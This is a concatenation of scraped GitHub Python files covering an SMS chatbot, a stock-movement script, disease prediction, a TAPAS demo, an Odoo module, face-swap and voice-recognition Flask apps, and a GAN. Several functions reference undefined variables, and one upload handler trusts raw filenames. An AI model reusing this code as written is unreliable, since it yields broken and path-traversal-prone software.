image_file.read()\n\n image = types.Image(content=content)\n response = img_client.label_detection(image=image)\n labels = response.label_annotations\n\n respStr = \"Here's what I see in your image:\\n\"\n for label in labels:\n imgTags.append(label.description)\n respStr += label.description + '\\n'\n respStr += '\\nWould you like to do an image search with this input? (y/n)'\n statholder = 99\n resp.message(respStr)\n return str(resp)\n elif statholder == 99:\n if 'y' in message.lower():\n searchRes, respStr = searchResults(imgTags[0] + ' ' + imgTags[1] + ' ' + imgTags[2])\n statholder = 100\n resp.message(respStr)\n return str(resp)\n else:\n resp.message('Ok, no image search was performed.')\n return str(resp)\n elif statholder == 100:\n statholder = int(message)\n urlParas = urlToParagraphs(searchRes[statholder-1][\"url\"])\n respStr = urlParas[0] + \"\\n\\nFor the next paragraph, reply 'next'.\"\n resp.message(respStr)\n statcode = 0\n statholder = 0\n return str(resp)\n\n elif statcode == 6: #banking\n try:\n if statholder != -1:\n statholder = int(message)\n except:\n statholder = 0\n statcode = 0\n\n if statholder == 1:\n directions, dirStr = getATM(69, 420, 2)\n resp.message('Directions to your nearest ATM:\\n\\n' + dirStr + \"\\nContinue banking, or text SMSnet to return to main.\")\n elif statholder == 2:\n resp.message(respStr)\n elif statholder == 3:\n resp.message(respStr)\n elif statholder == -1:\n accName = 'New Checking account'\n resp.message(accName + \" created successfully!\\nContinue banking, or text SMSnet to return to main.\")\n statholder = 0\n elif statholder == 4:\n respStr = \"What type of account would you like to open?\\n1) Checking\\n2) Savings\\n3) Credit Card\"\n resp.message(respStr)\n statholder = -1\n else:\n resp.message(\"Welcome to SMSnet! Which of the following basic internet functions would you like to use?\\n1) Search\\n2) Directions\\n3) News\\n4) Translate\\n5) Image recognition and search\\n6) E-banking and finances\")\n return str(resp)\n \n return str(resp)\n\n elif statcode == 7: #joke\n resp.message(\"It's a hat. As in, cHAT-bot! It's hilarious, I swear.\")\n statcode = 0\n return str(resp)\n\n\ndef searchResults(query):\n #Searches Google\n\n searchResultsStr = json.loads(r.text)[\"items\"]\n searchResults = []\n for i in range(3):\n searchResults.append({\"title\" : searchResultsStr[i][\"title\"],\n \"website\" : searchResultsStr[i][\"displayLink\"],\n \"snippet\" : searchResultsStr[i][\"snippet\"],\n \"url\" : searchResultsStr[i][\"formattedUrl\"]})\n\n c = 1\n responseStr = \"\"\n for item in searchResults:\n responseStr += str(c) + \") \"\n responseStr += \"'\" + item[\"title\"] + \"':\\n\" + item[\"snippet\"].strip('\\n') + \"\\n(\" + item[\"website\"] + ')\\n'\n responseStr += \"\\n\"\n c += 1\n return searchResults, responseStr\n\n\ndef urlToParagraphs(url):\n try:\n headers = {}\n headers['User-Agent'] = \"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.27 Safari/537.17\"\n req = urllib.Request(url, headers=headers)\n resp = urllib.urlopen(req)\n respData = resp.read()\n paragraphs = re.findall(r'

(.*?)

', str(respData))\n parsed = []\n\n for para in paragraphs:\n a = re.sub(r'\\<[^>]*\\>', '', para)\n b = re.sub(r' .*?93;', '', a)\n b = re.sub(r'\\\\', '', b)\n c = b.rstrip(\"\\r\\n\")\n parsed.append(c)\n return parsed\n\n except Exception as e:\n print(str(e))\n return []\n\ndef getNews(query):\n reponse = requests.get('https://newsapi.org/v2/top-headlines?', params=userdata)\n reponse = reponse.json()\n\n searchResults = []\n for i in range(3):\n searchResults.append({\"title\" : reponse['articles'][i][\"title\"],\n \"source\" : reponse['articles'][i]['source']['name'],\n \"preview\" : reponse['articles'][i][\"description\"],\n \"url\" : reponse['articles'][i][\"url\"]})\n \n c = 1\n responseStr = \"\"\n for item in searchResults:\n responseStr += str(c) + \") \"\n responseStr += \"'\" + item[\"title\"] + \"':\\n\" + item[\"preview\"].strip('\\n') + \"\\n(\" + item[\"source\"] + ')\\n'\n responseStr += \"\\n\"\n c += 1\n\n return searchResults, responseStr\n\n\nclass MLStripper(HTMLParser):\n def __init__(self):\n super().__init__()\n self.reset()\n self.fed = []\n def handle_data(self, d):\n if self.get_starttag_text() == '
':\n self.fed.append(' ('+d+')')\n else:\n self.fed.append(d)\n def get_data(self):\n return ''.join(self.fed)\n\ndef strip_tags(html):\n s = MLStripper()\n s.feed(html)\n return s.get_data()\n\ndef getDirections(dest):\n response = requests.get('https://maps.googleapis.com/maps/api/directions/json?', params=userdata)\n result = response.json()\n j=[]\n for i in range (0, len(result['routes'][0]['legs'][0]['steps'])):\n j.append(strip_tags(result['routes'][0]['legs'][0]['steps'][i]['html_instructions']))\n\n dirStr = \"\"\n for direction in j:\n dirStr += direction + '\\n'\n\n return j, dirStr\n\n#Returns the directions to the atm in an array\ndef getATM(lat, longi, rad):\n userdata = {'lat':38.9283, 'lng':-77.1753, 'rad':rad, 'key':key}\n reponse = requests.get('http://api.reimaginebanking.com/atms?', params=userdata)\n result = reponse.json()\n ret = []\n ret.append(result['data'][0]['geocode'])\n ret.append(result['data'][0]['address'])\n directions, dirStr = getDirectionsFour(0,0,ret[0]['lat'], ret[0]['lng'])\n return directions, dirStr\n\n\ndef getDirectionsFour(lat, longi, destlat, destlng):\n response = requests.get('https://maps.googleapis.com/maps/api/directions/json?', params=userdata)\n result = response.json()\n j=[]\n for i in range (0, len(result['routes'][0]['legs'][0]['steps'])):\n j.append(strip_tags(result['routes'][0]['legs'][0]['steps'][i]['html_instructions']))\n\n dirStr = \"\"\n for direction in j:\n dirStr += direction + '\\n'\n return j, dirStr\n\n#returns -1 if no user is found with the ID, else returns json object\ndef getCustomer(userId):\n userdata = {'key':key}\n response = requests.get('http://api.reimaginebanking.com/customers/' + str(userId), params=userdata)\n if response.status_code == 404:\n return -1\n result = response.json()\n return result\n\n#returns -1 if no user is found, else return json object of all accounts associated with that user\n#you can send the choosen account by parsing the json, else send all (requires user input)\ndef viewAllAcc(userId):\n if getCustomer(userId) == -1:\n return -1\n userdata = {'key':key}\n response = requests.get('http://api.reimaginebanking.com/customers/'+userId+'/accounts', params=userdata)\n result = response.json()\n retStr = \"\"\n for s in result:\n retStr += s['nickname'] + \": \" + s['type'] + \" account with balance $0 and rewards $0\\n\"\n return retStr\n\n#creates an acc based on user input -1 means invalid user, -2 means invalid account type\n#-3 means invalid params (very bad if this actually happens), 1 means nice\n#valid account types are Credit Card, Savings, and Checking\ndef createAcc(userId ,accType, accName):\n if getCustomer(userId) == -1:\n return -1\n if accType != 'Credit Card' and accType != 'Savings' and accType != 'Checking':\n return -2\n userdata = {'type': accType, 'nickname':accName, 'rewards':0, 'balance':0}\n result = response.json()\n if result['code'] == 201:\n return 1\n else:\n return -3\n\n#returns the account data with given id\ndef getAcc(accId):\n userdata = {'key':key}\n response = requests.get('http://api.reimaginebanking.com/accounts/'+accId+'?', params = userdata)\n if response.status_code == 404:\n return -1\n result = response.json()\n return result\n\n#3 types of transfers views payer, payee, and both\n#-2 is invalid transfer view type\ndef viewTrans(accId, transView = \"Both\"):\n if getAcc(accId) == -1:\n return -1\n if transView != \"Both\" and transView != \"payer\" and transView != \"payee\":\n return -2\n if transView == \"Both\":\n userdata = {'key':key}\n else:\n userdata = {'key':key, 'type':transView}\n reponse = requests.get('http://api.reimaginebanking.com/accounts/'+accId+'/transfers?', params = userdata)\n result = reponse.json()\n\n respStr = \"\"\n for s in result:\n respStr += s['description'] + ': ' + s[\"type\"] + \" transaction of $\" + str(s['amount']) + ', on ' + str(s['transaction_date']) + '. Status: ' + s['status'] + '\\n'\n\n return respStr\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","repo_name":"Huang-Vincent/SMS.net","sub_path":"runwbot.py","file_name":"runwbot.py","file_ext":"py","file_size_in_byte":15625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"1910423553","text":"# Import necessary libraries\nimport yfinance as yf\nimport pandas as pd\nimport yahoo_fin.stock_info as si\n\n# Fetch NASDAQ ticker symbols using yahoo_fin package\n# The tickers are returned as a DataFrame\nnasdaq = pd.DataFrame(si.tickers_nasdaq())\n\n# Convert the DataFrame into a set (an unordered collection of unique elements)\n# We use a set to easily remove duplicates\nsym = set(symbol for symbol in nasdaq[0].values.tolist())\n\n# Define a list of suffixes that we want to exclude from our symbol set\nmy_list = ['W', 'R', 'P', 'Q']\n\n# Initialize sets to store the ticker symbols we want to keep and discard\nsav_set = set()\ndel_set = set()\n\n# Loop through the symbol set\nfor symbol in sym:\n # If a symbol has more than 4 characters and its last character is in our suffix list...\n if len(symbol) > 4 and symbol[-1] in my_list:\n # ...add it to the discard set\n del_set.add(symbol)\n else:\n # Otherwise, add it to the save set\n sav_set.add(symbol)\n\n# Sort the symbols in the save set and select the first 10\ntickers = sorted(sav_set)[:10]\n\n# Initialize an empty list to store stock movement data\nmovementlist = []\n\n# Loop through each ticker symbol\nfor stock in tickers:\n # Download the stock's 5-day price history using yfinance\n thestock = yf.download(tickers=stock, period=\"5d\", interval=\"1d\", ignore_tz=True, prepost=False)\n\n # Find the minimum low price and the maximum high price over the 5-day period\n low = thestock['Low'].min()\n high = thestock['High'].max()\n\n # Calculate the percentage change between the high and low prices\n deltapercent = 100 * (high - low) / low\n\n # Fetch the opening price of the stock\n # If there are at least 5 days of history, also fetch the closing price of the stock\n # Otherwise, use the opening price as the closing price\n if len(thestock) >= 5:\n Close = thestock.iloc[4][\"Close\"]\n Open = thestock.iloc[0][\"Open\"]\n else:\n Close = Open = thestock.iloc[0][\"Open\"]\n\n # Calculate the percentage change in price from opening to closing\n # If the opening price is zero (to avoid division by zero), set the price change to zero\n deltaprice = 100 * (Close - Open) / Open if Open != 0 else 0\n\n # Append the stock symbol, high price, low price, percentage change, and price change to the movement list\n pair = [stock, high, low, deltapercent, deltaprice]\n movementlist.append(pair)\n\n# Convert the movement list into a DataFrame\nmovement = pd.DataFrame(movementlist, columns=['stock', 'high', 'low', 'deltapercent', 'deltaprice'])\n\n# Write the DataFrame to a CSV file named 'latest_movement.csv'\n# The 'header=True' argument means that the column names will be written to the file\n# The 'index=True' argument means that the row indices will be written to the file\n# 'encoding='utf-8'' specifies the character encoding to be used for the file\nmovement.to_csv('latest_movement.csv', header=True, index=True, encoding='utf-8')\n","repo_name":"Jabaker35/Predictive-Analysis","sub_path":"finance.py","file_name":"finance.py","file_ext":"py","file_size_in_byte":2959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"35164698441","text":"# @Author : Yingli Chen\n# @Time : 2022/12/21\n\nimport matplotlib.pyplot as plt\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.cluster import KMeans\nfrom sklearn.svm import SVR\nimport pandas as pd\nimport numpy as np\n\ndf = pd.read_excel('encoded_data.xlsx')\ndf = np.array(df)\n\nx = np.delete(df, slice(10, 14), axis=1)\nscaler = StandardScaler()\nx = scaler.fit_transform(x)\n\n# predict the possibility of having a specific disease\ny_asthma = df[:, 10]\ny_heart = df[:, 11]\ny_diabet = df[:, 12]\ny_stroke = df[:, 13]\n\nclf_asthma = SVR()\nclf_heart = SVR()\nclf_diabet = SVR()\nclf_stroke = SVR()\npredicted_svm_asthma = cross_val_score(clf_asthma, x, y_asthma, cv=5, error_score='raise')\npredicted_svm_heart = cross_val_score(clf_asthma, x, y_heart, cv=5, error_score='raise')\npredicted_svm_diabet = cross_val_score(clf_asthma, x, y_diabet, cv=5, error_score='raise')\npredicted_svm_stroke = cross_val_score(clf_asthma, x, y_stroke, cv=5, error_score='raise')\n\n# # Result of accuracy \n# print(\"svm accuracy for predicting Asthma: \", predicted_svm_asthma.mean())\n# print(\"svm accuracy for predicting Heart Disease: \", predicted_svm_heart.mean())\n# print(\"svm accuracy for predicting Diabet: \", predicted_svm_diabet.mean())\n# print(\"svm accuracy for predicting Stroke: \", predicted_svm_stroke.mean())\n\n# 3) Store the model\nimport joblib\nclf_asthma.fit(x, y_asthma)\nclf_heart.fit(x, y_heart)\nclf_diabet.fit(x, y_diabet)\nclf_stroke.fit(x, y_stroke)\n\njoblib.dump(scaler, 'scaler') # store the scaler\njoblib.dump(clf_asthma, 'model_asthma.pkl') \njoblib.dump(clf_heart, 'model_heart.pkl') \njoblib.dump(clf_diabet, 'model_diabet.pkl') \njoblib.dump(clf_stroke, 'model_stroke.pkl') \n\n# 4) Load it again and test the result\nclf_load = joblib.load('model_asthma.pkl') \nscaler = joblib.load('scaler')\nx_test = [[20.34,\t0,\t0,\t0,\t2,\t13,\t1,\t1,\t4,\t7]]\ny_test = clf_load.predict(scaler.transform(x_test))\nprint(y_test)\n\n","repo_name":"ChenDong0427/Insurance-Project","sub_path":"insurance_client/machine-learning-modules/predictDisease.py","file_name":"predictDisease.py","file_ext":"py","file_size_in_byte":2004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"70914402774","text":"from app.tapas import execute_query\nimport gradio as gr\n\n\ndef main():\n description = \"Table query demo app, it runs TAPAS model. You can ask a question about tabular data, TAPAS model \" \\\n \"will produce the result. Think about it as SQL query running against DB table. The advantage of \" \\\n \"TAPAS model - there is no need to upload data to DB or process it in a spreadsheet, data can be \" \\\n \"processed in memory by ML model. Pre-trained TAPAS model runs on max 64 rows and 32 columns data. \" \\\n \"Make sure CSV file data doesn't exceed these dimensions.\"\n\n article = \"

Katana ML | Github Repo | TAPAS Model

visitor badge
\"\n\n iface = gr.Interface(fn=execute_query,\n inputs=[gr.Textbox(label=\"Search query\"),\n gr.File(label=\"CSV file\")],\n outputs=[gr.JSON(label=\"Result\"),\n gr.Dataframe(label=\"All data\")],\n examples=[\n [\"What are the items with total higher than 8?\", \"taxables.csv\"],\n [\"What is the cost for Maxwell item?\", \"taxables.csv\"],\n [\"Show items with cost lower than 2 and tax higher than 0.05\", \"taxables.csv\"]\n ],\n title=\"Table Question Answering (TAPAS)\",\n description=description,\n article=article,\n allow_flagging='never')\n # Use this config when running on Docker\n iface.launch(server_name=\"0.0.0.0\", server_port=7000)\n # iface.launch(enable_queue=True)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"katanaml/table-query-model","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2084,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"67"} +{"seq_id":"17483317823","text":"# © 2019 Numigi (tm) and all its contributors (https://bit.ly/numigiens)\n# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl-v3).\n\nfrom odoo import models, fields, api\n\n\nclass PurchaseOrder(models.Model):\n\n _inherit = 'purchase.order'\n\n min_purchase_amount = fields.Float(string=\"Minimum Purchase amount\", related='partner_id.min_purchase_amount')\n\n def display_alert_wizard(self, context):\n view = self.env.ref('purchase_warning_minimum_amount.wizard_alert_message')\n wiz = self.env['wizard.alert'].create({'order_id': self.id})\n return {\n 'name': 'Warning',\n 'type': 'ir.actions.act_window',\n 'view_type': 'form',\n 'view_mode': 'form',\n 'res_model': 'wizard.alert',\n 'views': [(view.id, 'form')],\n 'view_id': view.id,\n 'target': 'new',\n 'res_id': wiz.id,\n 'context': context,\n }\n\n @api.multi\n def button_confirm(self):\n context = self._context.copy()\n if context.get('confirm_order', False):\n return super(PurchaseOrder, self).button_confirm()\n if self.amount_untaxed < self.min_purchase_amount:\n context.update({'to_confirm': True})\n return self.display_alert_wizard(context)\n return super(PurchaseOrder, self).button_confirm()\n\n @api.multi\n def button_approve(self, force=False):\n context = self._context.copy()\n if context.get('confirm_order', False):\n return super(PurchaseOrder, self).button_approve(force)\n if self.amount_untaxed < self.min_purchase_amount:\n context.update({'to_approve': True})\n return self.display_alert_wizard(context)\n return super(PurchaseOrder, self).button_approve(force)\n","repo_name":"Numigi/odoo-purchase-addons","sub_path":"purchase_warning_minimum_amount/models/purchase_order.py","file_name":"purchase_order.py","file_ext":"py","file_size_in_byte":1796,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"7710184525","text":"import datetime\nimport os\nimport re\nimport time\n\nfrom flask import (\n Flask,\n render_template,\n json,\n request,\n redirect,\n session,\n url_for,\n send_from_directory\n)\nfrom werkzeug.utils import secure_filename\n\nfrom face_swap import plastgifSurgery\n\n# from flask_socketio import SocketIO, emit\n\n# App Configurations\napp = Flask(__name__)\napp.config[\"DEBUG\"] = True\n# socketio = SocketIO(app)\n\napp.config['UPLOAD_FOLDER'] = './public/uploads'\nALLOWED_EXTENSIONS = set(['txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif'])\n\n\ndef createShoop(request):\n\n gif_img = request.files['gif-img']\n face_img = request.files['face-img']\n files_names = []\n\n if gif_img and face_img:#and allowed_file(file.filename):\n timestamp = str(round(time.time() * 1000)) + \"-\"\n filename = timestamp + secure_filename(gif_img.filename)\n imagePath = os.path.join(app.config['UPLOAD_FOLDER'], filename)\n gif_img.save(imagePath)\n files_names.append(url_for('uploads', filename=filename))\n\n filename = timestamp + secure_filename(face_img.filename)\n facePath = os.path.join(app.config['UPLOAD_FOLDER'], filename)\n face_img.save(facePath)\n files_names.append(url_for('uploads', filename=filename))\n\n outputFileName = timestamp + \"output\"\n outputPath = os.path.join(app.config['UPLOAD_FOLDER'], outputFileName)\n\n outputPath = plastgifSurgery(imagePath, facePath, outputPath)\n outputFileName = outputFileName + \".\" + outputPath.split(\".\")[-1]\n\n files_names.append(url_for('uploads', filename=outputFileName, _external=True))\n\n return files_names\n\n\n@app.route(\"/\", methods=[\"GET\"])\ndef main():\n return render_template(\n \"upload.html\",\n title=\"Title\",\n msg=\"My Msg\"\n )\n\n@app.route(\"/\", methods=[\"POST\"])\ndef upload():\n files_names = createShoop(request)\n return render_template(\n \"success.html\",\n msg=\"Success\",\n images=files_names\n )\n\n\n@app.route(\"/surgery\", methods=[\"POST\"])\ndef surgery():\n files_names = createShoop(request)\n return json.dumps({\"url\": files_names[2]})\n\n\n@app.route(\"/uploads/\", methods=[\"GET\"])\ndef uploads(filename):\n return send_from_directory(app.config['UPLOAD_FOLDER'], filename)\n\n### Websockets Handlers\n# @socketio.on('connect')\n# def handle_connect(connect):\n# print('received connect: ' + connect)\n# emit('message', 'you are connected')\n\n# @socketio.on('disconnect')\n# def handle_disconnect(disconnect):\n# print('received disconnect: ' + disconnect)\n\n# @socketio.on('message')\n# def handle_message(message):\n# # print('received message: ' + message)\n# emit('message', \"thanks\")\n\nif __name__ == \"__main__\":\n\n port = int(os.environ.get('PORT', 5000))\n app.run(host='0.0.0.0', port=port)\n","repo_name":"kamikaz1k/plastgif-surgery","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"11864908432","text":"from flask import Flask,render_template,redirect,url_for,request,send_from_directory\n# from flask_sqlalchemy import SQLAlchemy\n# from flask_login import LoginManager\n# from flask_app import routes\nimport os\nimport time\nimport random\nimport librosa\n#from keras.models import load_model\nimport numpy as np\n\nimport collections\nimport contextlib\nimport sys\nimport wave\nimport webrtcvad\nfrom flask_app.static.CRNN import CRNN_04 as model\nimport torch, librosa, torchaudio, torchaudio.transforms as transforms\n\napp = Flask(__name__)\n\n# app.config['SECRET_KEY'] = '1A37BbcCJh67'\n# app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///site.db'\n# db = SQLAlchemy(app)\n\n# login_manager = LoginManager()\n# login_manager.init_app(app)\ndef load_model(model,model_path):\n model = model(6)\n checkpoint = torch.load(model_path,map_location=torch.device('cpu'))\n model.load_state_dict(checkpoint['model'])\n model.eval()\n return model\n\ndef read_wave(path):\n \"\"\"Reads a .wav file.\n Takes the path, and returns (PCM audio data, sample rate).\n \"\"\"\n with contextlib.closing(wave.open(path, 'rb')) as wf:\n num_channels = wf.getnchannels()\n assert num_channels == 1\n sample_width = wf.getsampwidth()\n assert sample_width == 2\n sample_rate = wf.getframerate()\n assert sample_rate in (8000, 16000, 32000, 48000)\n pcm_data = wf.readframes(wf.getnframes())\n return pcm_data, sample_rate\n\n\ndef write_wave(path, audio, sample_rate):\n \"\"\"Writes a .wav file.\n Takes path, PCM audio data, and sample rate.\n \"\"\"\n with contextlib.closing(wave.open(path, 'wb')) as wf:\n wf.setnchannels(1)\n wf.setsampwidth(2)\n wf.setframerate(sample_rate)\n wf.writeframes(audio)\n\n\nclass Frame(object):\n \"\"\"Represents a \"frame\" of audio data.\"\"\"\n def __init__(self, bytes, timestamp, duration):\n self.bytes = bytes\n self.timestamp = timestamp\n self.duration = duration\n\n\ndef frame_generator(frame_duration_ms, audio, sample_rate):\n \"\"\"Generates audio frames from PCM audio data.\n Takes the desired frame duration in milliseconds, the PCM data, and\n the sample rate.\n Yields Frames of the requested duration.\n \"\"\"\n n = int(sample_rate * (frame_duration_ms / 1000.0) * 2)\n offset = 0\n timestamp = 0.0\n duration = (float(n) / sample_rate) / 2.0\n while offset + n < len(audio):\n yield Frame(audio[offset:offset + n], timestamp, duration)\n timestamp += duration\n offset += n\n\n\ndef vad_collector(sample_rate, frame_duration_ms,\n padding_duration_ms, vad, frames):\n \"\"\"Filters out non-voiced audio frames.\n Given a webrtcvad.Vad and a source of audio frames, yields only\n the voiced audio.\n Uses a padded, sliding window algorithm over the audio frames.\n When more than 90% of the frames in the window are voiced (as\n reported by the VAD), the collector triggers and begins yielding\n audio frames. Then the collector waits until 90% of the frames in\n the window are unvoiced to detrigger.\n The window is padded at the front and back to provide a small\n amount of silence or the beginnings/endings of speech around the\n voiced frames.\n Arguments:\n sample_rate - The audio sample rate, in Hz.\n frame_duration_ms - The frame duration in milliseconds.\n padding_duration_ms - The amount to pad the window, in milliseconds.\n vad - An instance of webrtcvad.Vad.\n frames - a source of audio frames (sequence or generator).\n Returns: A generator that yields PCM audio data.\n \"\"\"\n num_padding_frames = int(padding_duration_ms / frame_duration_ms)\n # We use a deque for our sliding window/ring buffer.\n ring_buffer = collections.deque(maxlen=num_padding_frames)\n # We have two states: TRIGGERED and NOTTRIGGERED. We start in the\n # NOTTRIGGERED state.\n triggered = False\n\n voiced_frames = []\n for frame in frames:\n is_speech = vad.is_speech(frame.bytes, sample_rate)\n\n sys.stdout.write('1' if is_speech else '0')\n if not triggered:\n ring_buffer.append((frame, is_speech))\n num_voiced = len([f for f, speech in ring_buffer if speech])\n # If we're NOTTRIGGERED and more than 90% of the frames in\n # the ring buffer are voiced frames, then enter the\n # TRIGGERED state.\n if num_voiced > 0.9 * ring_buffer.maxlen:\n triggered = True\n sys.stdout.write('+(%s)' % (ring_buffer[0][0].timestamp,))\n # We want to yield all the audio we see from now until\n # we are NOTTRIGGERED, but we have to start with the\n # audio that's already in the ring buffer.\n for f, s in ring_buffer:\n voiced_frames.append(f)\n ring_buffer.clear()\n else:\n # We're in the TRIGGERED state, so collect the audio data\n # and add it to the ring buffer.\n voiced_frames.append(frame)\n ring_buffer.append((frame, is_speech))\n num_unvoiced = len([f for f, speech in ring_buffer if not speech])\n # If more than 90% of the frames in the ring buffer are\n # unvoiced, then enter NOTTRIGGERED and yield whatever\n # audio we've collected.\n if num_unvoiced > 0.9 * ring_buffer.maxlen:\n sys.stdout.write('-(%s)' % (frame.timestamp + frame.duration))\n triggered = False\n yield b''.join([f.bytes for f in voiced_frames])\n ring_buffer.clear()\n voiced_frames = []\n if triggered:\n sys.stdout.write('-(%s)' % (frame.timestamp + frame.duration))\n sys.stdout.write('\\n')\n # If we have any leftover voiced audio when we run out of input,\n # yield it.\n if voiced_frames:\n yield b''.join([f.bytes for f in voiced_frames])\n\n@app.route('/',methods=['GET','POST'])\ndef home():\n global model\n model_path = './flask_app/static/h5_file/CRNN_04_epochs70_adam_CE_batch1_lr1e-05.pth.tar'\n if request.method == 'POST':\n #members = ['one','four','five','two','three','six']\n members = ['five','three','six','four','one','two']\n real = ['Ryan', 'Rick', 'Yanbo', 'Hsiaoen', 'Kunyu', 'Joyee']\n #real = ['Kunyu','Hsiaoen','Ryan','Joyee','Rick','Yanbo']\n # index = random.randint(0,len(members)-1)\n # name = members[index]\n from flask_app.static.CRNN import CRNN_04 as model\n model = load_model(model,model_path)\n audio, sample_rate = read_wave('./flask_app/static/wav_file/predict.wav')\n vad = webrtcvad.Vad(1)\n frames = frame_generator(30, audio, sample_rate)\n frames = list(frames)\n segments = vad_collector(sample_rate, 30, 300, vad, frames)\n for segment in segments:\n path = './flask_app/static/wav_file/after_vad.wav'\n write_wave(path, segment, sample_rate)\n noisy, sr = librosa.load('./flask_app/static/wav_file/after_vad.wav',sr=16000, mono=True)\n noisy = noisy/max(abs(noisy))\n MFCC_fea = transforms.MFCC(16000,melkwargs={'n_fft':512,'hop_length':160})(torch.from_numpy(noisy)).squeeze().t()\n MFCC_fea = MFCC_fea.unsqueeze(0)\n pred = model(MFCC_fea).max(1)[1].numpy()\t\n\n # noisy,sr = librosa.load('./flask_app/static/wav_file/predict.wav', sr=16000, mono=True)\n #noisy = noisy[13000:26440]\n #mfcc = librosa.feature.mfcc(y=noisy, sr=sr,n_mfcc=40, dct_type=2, hop_length=256, n_fft=512, center=False)\n #fea = mfcc.transpose()\n #test = np.reshape(fea,(1,51,-1,1))\n #model = load_model('./flask_app/static/h5_file/model.43-0.04.h5')\n #pre = model.predict(test)\n name = members[int(pred)]\n real_name = real[int(pred)]\n return render_template('home.html',name=name,real_name=real_name)\n return render_template('home.html',name='')\n\n@app.route('/getcwd')\ndef getcwd():\n return os.getcwd()\n\n@app.route('/testrecord', methods=['GET', 'POST'])\ndef test_record():\n # f = request.files['audio_data']\n # f.save('/static/wav_file/try.wav')\n # print('file uploaded successfully')\n # return render_template('index.html', ttttt=\"上傳成功\")\n\n if request.method == \"POST\":\n f = request.files['audio_data']\n #name = './flask_app/static/wav_file/joyee/'+str(int(time.time()))+'.wav' \n name = './flask_app/static/wav_file/predict.wav'\n f.save(name)\n return '錄音成功'\n else:\n return render_template(\"home.html\")\n\n@app.route('/upload', methods=['POST'])\ndef upload_file():\n if request.method == 'POST':\n global model\n model_path = './flask_app/static/h5_file/CRNN_04_epochs70_adam_CE_batch1_lr1e-05.pth.tar'\n file = request.files['file']\n print(request.files)\n filename = file.filename\n if file and file.filename.endswith('.wav'):\n file.save('./flask_app/static/wav_file/'+filename)\n noisy, sr = librosa.load('./flask_app/static/wav_file/'+filename,sr=None)\n #members = ['one','four','five','two','three','six']\n #real = ['Kunyu','Hsiaoen','Ryan','Joyee','Rick','Yanbo']\n members = ['five','three','six','four','one','two']\n real = ['Ryan', 'Rick', 'Yanbo', 'Hsiaoen', 'Kunyu', 'Joyee']\n # index = random.randint(0,len(members)-1)\n # name = members[index]\n from flask_app.static.CRNN import CRNN_04 as model\n model = load_model(model,model_path)\n noisy,sr = librosa.load('./flask_app/static/wav_file/'+filename, sr=16000, mono=True)\n #noisy = noisy[7000:20440]\n #mfcc = librosa.feature.mfcc(y=noisy, sr=sr,n_mfcc=40, dct_type=2, hop_length=256, n_fft=512, center=False)\n #fea = mfcc.transpose()\n #test = np.reshape(fea,(1,51,-1,1))\n #model = load_model('./flask_app/static/h5_file/CNN2.h5')\n #pre = model.predict(test)\n noisy = noisy/max(abs(noisy))\n MFCC_fea = transforms.MFCC(16000,melkwargs={'n_fft':512,'hop_length':160})(torch.from_numpy(noisy)).squeeze().t()\n MFCC_fea = MFCC_fea.unsqueeze(0)\n pred = model(MFCC_fea).max(1)[1].numpy()\n name = members[int(pred)]\n real_name = real[int(pred)]\n return render_template('home.html',name=name,real_name=real_name,filename=filename)\n return render_template('home.html',name='',condition='error')\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n\n\n","repo_name":"math188/VoiceRecognition","sub_path":"flask_app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":10577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"38959239340","text":"import sys\nimport os\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom keras.datasets import mnist\nfrom keras.layers import (BatchNormalization, Conv2D, Conv2DTranspose, Dense,\n Dropout, Flatten, Input, Reshape, UpSampling2D,\n ZeroPadding2D)\nfrom keras.layers.advanced_activations import LeakyReLU\nfrom keras.models import Model, Sequential\nfrom keras.optimizers import Adam\n\nnp.random.seed(10)\n\n#get file name\nmodel_filename= \"Temp\"\nnoise_dim = 100\nbatch_size = 16\nsteps_epoch = 3750 \nepochs = 50\n\nrows, cols, channels = 28, 28, 1\n\nmy_optimizer = Adam(0.0002, 0.5)\n\n# Download Mnist dataset\n(x_train, y_train), (x_test, y_test) = mnist.load_data()\n# Normalize to between -1 and 1\nx_train = (x_train.astype(np.float32) - 127.5) / 127.5\n\n#flatten\nx_train = x_train.reshape(-1, rows*cols*channels)\n\ndef create_generator():\n generator = Sequential()\n \n generator.add(Dense(256, input_dim=noise_dim))\n generator.add(LeakyReLU(0.2))\n\n generator.add(Dense(512))\n generator.add(LeakyReLU(0.2))\n\n generator.add(Dense(1024))\n generator.add(LeakyReLU(0.2))\n\n generator.add(Dense(rows*cols*channels, activation='tanh')) #output\n \n generator.compile(loss='binary_crossentropy', optimizer=my_optimizer)\n return generator\n\ndef create_descriminator():\n discriminator = Sequential()\n \n discriminator.add(Dense(1024, input_dim=rows*cols*channels))\n discriminator.add(LeakyReLU(0.2))\n\n discriminator.add(Dense(512))\n discriminator.add(LeakyReLU(0.2))\n\n discriminator.add(Dense(256))\n discriminator.add(LeakyReLU(0.2))\n\n discriminator.add(Dense(1, activation='sigmoid'))\n \n discriminator.compile(loss='binary_crossentropy', optimizer=my_optimizer)\n return discriminator\n\ndiscriminator = create_descriminator()\ndiscriminator.trainable = False\n\ngenerator = 